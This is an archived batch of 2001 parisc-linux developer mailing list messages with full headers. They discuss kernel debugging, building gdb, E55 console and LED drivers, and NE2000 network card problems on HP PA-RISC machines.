List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13130

> On Mon, Nov 19, 2001 at 04:40:26PM +0000, Matthew Wilcox wrote:
> 
> > On Mon, Nov 19, 2001 at 04:34:22PM +0000, Richard Allen wrote:
> > > do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53
> > 
> > looks like it branched to hyperspace.  "k\AE?S" as a string, so it's
> > not obviously ascii.  looks like it came from 0x0007c04f, so that might
> > be a good place to start tracing.
> 
> Wow :)   that was fast :)
> Mmmh.  it doesnt dump core so I can attempt to run it under gdb.
> or ?    No gdb for parisc ?

Not sure of the status of core dumps (did you check your shell's 'ulimit'?)
but gdb works.  Grab sources from http://ftp.parisc-linux.org/cvs/


	-P



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: Mon, 19 Nov 2001 11:06:03 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <200111191706.fAJH64e27084@egsner.cirr.com>
References: <a0510031db81ed8e4549c@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620779 30528 80.91.229.3 (22 Nov 2014 01:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 10:06:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from egsner.cirr.com (ns-a.cirr.com [192.67.63.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2387A6121
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 10:06:10 -0700 (MST)
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.11.3/8.11.3)
         with ESMTP id fAJH64e27084; Mon, 19 Nov 2001 11:06:04 -0600 (CST)
In-reply-to: Your message of "Mon, 19 Nov 2001 10:43:35 EST."
             <a0510031db81ed8e4549c@[129.64.46.46]> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13131

Aaron Macks writes:
- >>  unconfigure the ATM card and remove it from the eisa cage, but the
- >>  system still seems not to see the 10baseT AUI adaptor, no lights are
- >>  lit, not even the power one.
- >
- >Hm... that doesn't seem right.  Have you tried a different AUI adapter?
- >sounds like faulty hardware somewhere :(

From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 10:52:59 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20011119175259.3A21137E86@carmen.fc.hp.com>
References: <20011119163421.A14821@hp.is> <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk> <20011119165320.B14821@hp.is>  <m165rrQ-000OrMC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620779 30535 80.91.229.3 (22 Nov 2014 01:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:19 +0000 (UTC)
Cc: Richard Allen <ra@hp.is>, parisc-linux@lists.parisc-linux.org,
	taggart@carmen.fc.hp.com
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 10:53:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ABF6482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 10:53:01 -0700 (MST)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 3C88C1F7F3; Mon, 19 Nov 2001 12:53:00 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 3A21137E86; Mon, 19 Nov 2001 10:52:59 -0700 (MST)
In-Reply-To: Your message of "Mon, 19 Nov 2001 10:05:32 MST."
             <m165rrQ-000OrMC@bame.riverrock.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13132

Paul Bame writes...

> > On Mon, Nov 19, 2001 at 04:40:26PM +0000, Matthew Wilcox wrote:
> > 
> > > On Mon, Nov 19, 2001 at 04:34:22PM +0000, Richard Allen wrote:
> > > > do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53
> > > 
> > > looks like it branched to hyperspace.  "k\AE?S" as a string, so it's
> > > not obviously ascii.  looks like it came from 0x0007c04f, so that might
> > > be a good place to start tracing.
> > 
> > Wow :)   that was fast :)
> > Mmmh.  it doesnt dump core so I can attempt to run it under gdb.
> > or ?    No gdb for parisc ?
> 
> Not sure of the status of core dumps (did you check your shell's 'ulimit'?)
> but gdb works.  Grab sources from http://ftp.parisc-linux.org/cvs/

Or grab a static deb from

ftp://ftp.parisc-linux.org/unofficial-debs/gdb-hppa_5.0-4.pehc.2_hppa.deb

We can't do official debs until gdb is merged up to current upstream cvs.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 18:01:06 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20011119180106.C1835@parcelfarce.linux.theplanet.co.uk>
References: <20011119163421.A14821@hp.is> <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk> <20011119165320.B14821@hp.is> <m165rrQ-000OrMC@bame.riverrock.org> <20011119175259.3A21137E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620779 30538 80.91.229.3 (22 Nov 2014 01:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:19 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>, Richard Allen <ra@hp.is>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 11:01:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E0DD482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 11:01:13 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 165sjD-0004px-00; Mon, 19 Nov 2001 18:01:07 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011119175259.3A21137E86@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Mon, Nov 19, 2001 at 10:52:59AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13133

On Mon, Nov 19, 2001 at 10:52:59AM -0700, Matt Taggart wrote:
> We can't do official debs until gdb is merged up to current upstream cvs.

Speaking of which... is anyone volunteering to do this?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status
Date: 19 Nov 2001 11:29:15 -0700
Lines: 101
Approved: news@gmane.org
Message-ID: <1006194555.4898.9.camel@beavis>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr> 
	<3BF71BEC.5D032CE6@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620779 30543 80.91.229.3 (22 Nov 2014 01:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:19 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 11:29:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2794F482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 11:29:20 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id AB146BE29; Mon, 19 Nov 2001 11:29:15 -0700 (MST)
In-Reply-To: <3BF71BEC.5D032CE6@gmx.at>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13134

On Sat, 2001-11-17 at 19:24, Christoph Plattner wrote:
> Hi Thomas !
> 
> Here are the current status of the E55:
> 
> I have rewritten my whole stuff on the current CVS snapshot from the end
> of this week (2.4.14-pa6).

Dang, you have been busy!  Nice work!

> (1) TTY driver for the PDC console, used in polling mode (30ms) as
> device
> 	/dev/ttyB0:
> 	- only tested via serial line !
> 	- is configured together with CONFIG_SERIAL_CONSOLE, if ARCH is
> 		parisc (XXX: TODO a config via menu for PDC CONSOLE DRIVER)
> 	- a node (/dev/ttyB0 c 30 0) must be created
> 	- /etc/inittab should have a login on /dev/ttyB0
> 	- the kernel line parameter `console=ttyB0' must be set
> 
> 	Driver works for complete Linux stuff, including `login' and editing
> 	on the `bash'.

I am very interested in this patch.  I am currently working on the
K-Class machines, and I have the same problem you did, where you have a
MUX instead of a inturrupt driven console port.  With this patch, I
think I could get K-Class to install from the upcoming 0.9.3 iso image
:) Are you planning on committing soon? Or could I get a patch from you?

> (2) LED support for the "RUN" and "ATTENTION" LED (cuppled to the
> heartbeat of
> 	700er machines. If the heartbeart is active, E55 shows "RUN", otherwise
> 	the machine indicates "ATTENTION"). So the status can be influenced
> 	by the `/proc/pdc/led' entry.
> 	This LED driver is activated by the model name "9000/856" (E55), so
> 	for further machines of similar types, the model names have to be
> 	added.
> 
> In general, the CONFIG stuff has to be adapted. On that stuff, my
> experience 
> is not that what other LINUX hacker's expect ...
> 
> Further, is there a developer ChangeLog file to do entries per file ?
> 
> So the E55 server can be booted diskless by BOOTP(DHCP)/TFTP and boots
> up. Ethernet is full functioning, the console works on port 0 of the
> 8-port multiplexer. No SCSI controller is deteced, not the parallel
> interface,
> and the mulitplexer board. For these three componets, drivers are
> needed,
> and the DOCUMENTATION !!!

I assume you are refering to the HP-PB bus cards.  We should probably
coordinate our efforts on this since I plan on cutting my teeth at
driver writing on some of these cards.

Nice to see all the hardwork you have done!  Good Job.

-  Ryan


> I hope, parts of my stuff (or all plus improvments concerning
> configuration)
> will come into the kernel main stream to have this "start" of E55 server
> in the kernel.
> 
> I will add my current CVS diffings of my extensions very soon, at the
> moment
> the CVS server seems to be down ! (Please contact me, if you have
> interest !)
> 
> With friendly regards
> Christoph P.
> 
> 
> 
> Thomas Marteau wrote:
> > 
> > Hi Christoph,
> > 
> >         I am updating our list of working hardware. Could you tell me if you
> > know something about the status of PA/Linux on E55?
> > 
> > Thanks for your answer, Thomas.
> > ESIEE Team
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem compiling GDB
Date: Mon, 19 Nov 2001 18:46:38 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20011119184638.B11431@linuxcare.com>
References: <5360C45FAB301541AEB3C6A45A6B6A0270684F@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620780 30547 80.91.229.3 (22 Nov 2014 01:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:20 +0000 (UTC)
Cc: 'Parisc-linux Mailing List' <parisc-linux@lists.parisc-linux.org>
To: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 11:44:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CFE0482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 11:44:39 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 98B81B00C; Mon, 19 Nov 2001 18:46:38 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <5360C45FAB301541AEB3C6A45A6B6A0270684F@ocst09.ugd.att.com>; from aubreygriffin@att.com on Mon, Nov 12, 2001 at 05:16:37PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13135

PT_CR30 used to exist in offset.h, see

http://cvs.parisc-linux.org/linux/include/asm-parisc/ptrace.h.diff?r1=1.12&r2=1.13

I just checked out the latest gdb source from cvs.parisc-linux.org and
changed PT_CR30 in gdb/pa-linux-nat.c to '-1'.  Builds now.  the gdbserver
stuff wouldn't build anyway, as it tries to include offsets.h, not offset.h.

btw, there is a gdb .deb on http://ftp.parisc-linux.org/unofficial-debs

Richard


On Mon, Nov 12, 2001 at 05:16:37PM -0500, Griffin, Aubrey, BMCIO wrote:
> All,
> 
> I am trying to compile GDB.
> 
> I downloaded gdb-20011024 from http://ftp.parisc-linux.org/cvs/
> 
> The compilation of gdb failed. There is an undefined constant PT_CR30. This
> is used in
> gdb/pa-linux-nat.c and gdb/gdb/gdbserver/low-linux.c.
> 
> Some PT_ constants are defined in /usr/include/asm/offset.h, but not
> PT_CR30.
> 
> Should this gdb bundle compile?
> 
> Is there another gdb package that compiles on this platform?
> 
> All help is appreciated.
> 
> Thanks in advance,
> Aubrey Griffin
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Higson <richard.higson@gt.owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Mon, 19 Nov 2001 19:46:23 +0100
Organization: is NOT one of my stronger abilities.
Lines: 28
Approved: news@gmane.org
Message-ID: <20011119194623.C16755@glurp.gt.owl.de>
References: <3BF7C6E2.D6B35170@freebel.net> <1006094625.3bf7c921363b6@webmail.tiscalinet.be> <20011119105054.B28328@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620780 30550 80.91.229.3 (22 Nov 2014 01:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 11:48:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from noose.gt.owl.de (noose.gt.owl.de [62.52.19.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 292B6482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 11:48:24 -0700 (MST)
Original-Received: by noose.gt.owl.de (Postfix, from userid 10)
	id C6C3086A; Mon, 19 Nov 2001 19:48:20 +0100 (CET)
Original-Received: by glurp.gt.owl.de (Postfix, from userid 1000)
	id 23D1EBFDB; Mon, 19 Nov 2001 19:46:23 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20011119105054.B28328@lug-owl.de>
User-Agent: Mutt/1.3.20i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13136

On Mon, Nov 19, 2001 at 10:50:54AM +0100, Jan-Benedict Glaw wrote:
> From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
> To: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Re: rsync for CVS repository
> Date: Mon, 19 Nov 2001 10:50:54 +0100
> 
Hi Jan-Benedict,

I happen to have 'some' HP 715/50 boxes which just happened to become 'available'.
You'd need to supply your own SCSI disk(s), because the ones I have
are 'sort of loud', and probably within an hour or two of a head-crash
(whereby I'm not too sure which side of the hour they're on ;-)

If you want to set them up as autobuilders or whatever, we could probably 
add them to the farm at/near source.rfc822.org ;-)

I'm using an HP 715/100 at home; works like a charm; (uptime 27 days).

At the moment I'm just lurking, until we can safely 
`apt-get update && apt-get upgrade && apt-get moo` again ;-)

Richard (aka OpaH)
-- 
Unix:        Your gun, Your bullet, Your foot, Your choice.
M$-CE/ME/NT: Same as Unix, BUT: No choice, and We Aim Higher.
Have a nice day ;-) Richard Higson mailto:richard.higson@gt.owl.de



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
Date: Mon, 19 Nov 2001 19:51:36 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20011119185233.340B9482C@dsl2.external.hp.com>
References: <8D4C69676E66D511A1CB00508BBBB1921627E4@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620780 30553 80.91.229.3 (22 Nov 2014 01:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:20 +0000 (UTC)
To: "Pedot, Wolfgang" <wpedot@harris.com>,
	'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 11:52:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 340B9482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 11:52:33 -0700 (MST)
Original-Received: (qmail 13476 invoked by uid 0); 19 Nov 2001 18:52:30 -0000
Original-Received: from pd9e08511.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.17)
  by mail.gmx.net (mp001-rz3) with SMTP; 19 Nov 2001 18:52:30 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB1921627E4@ranmx1.ran.harris.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13137

Hi Wolfgang,

I've no problems here with my ISA NE2000 and kernel 2.4.14-pa7:

NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
eth0: NE2000 found at 0x340, using IRQ 10.

pa64:~# uname -a
Linux pa64 2.4.14-pa7 #2 Mon Nov 19 19:43:37 CET 2001 parisc unknown

pa64:~# cat /proc/interrupts
 IRQ      count         Region    ISR
 10:       2346            EISA  NE2000

Sadly I've no idea why it doesn't work for you...

Greetings,
Helge

On Monday 19 November 2001 15:16, Pedot, Wolfgang wrote:
> Hi,
>
> I just tried to update to 2.4.14-pa6 and noticed a stackdump during
> initialisation of my old NE2000 ISA-Nic which works fine using the last
> 2.4.9 Kernel. After this stackdump i booted (reset used) 2.4.9 again and
> the machine hung without any message druring initialistaion of the NE2000
> (right after "NE*000 ethercard probe at 0x300:"). I had to power-cycle the
> machine to make it work again.
>
> Heres the log-message:
>
> Last modified Nov 1, 2000 by Paul Gortmaker
> NE*000 ethercard probe at 0x300:WARNING! Stack pointer and cr30 do not
> correspond!
>
> Bad Address (null pointer deref?): Code=6 regs=100fe380 (Addr=50412d43)
>
> any hints?
> Are there any guys arround here which made their ne2000 work with 2.4.14?
> greetings
>
> Wolfgang Pedot




From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] State of official Linux kernel
Date: Mon, 19 Nov 2001 19:40:28 +0000 (GMT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0111191911120.11606-100000@student.cs.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620781 30556 80.91.229.3 (22 Nov 2014 01:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 12:40:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B3A1482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 12:40:10 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id TAA23428
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 19:40:28 GMT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
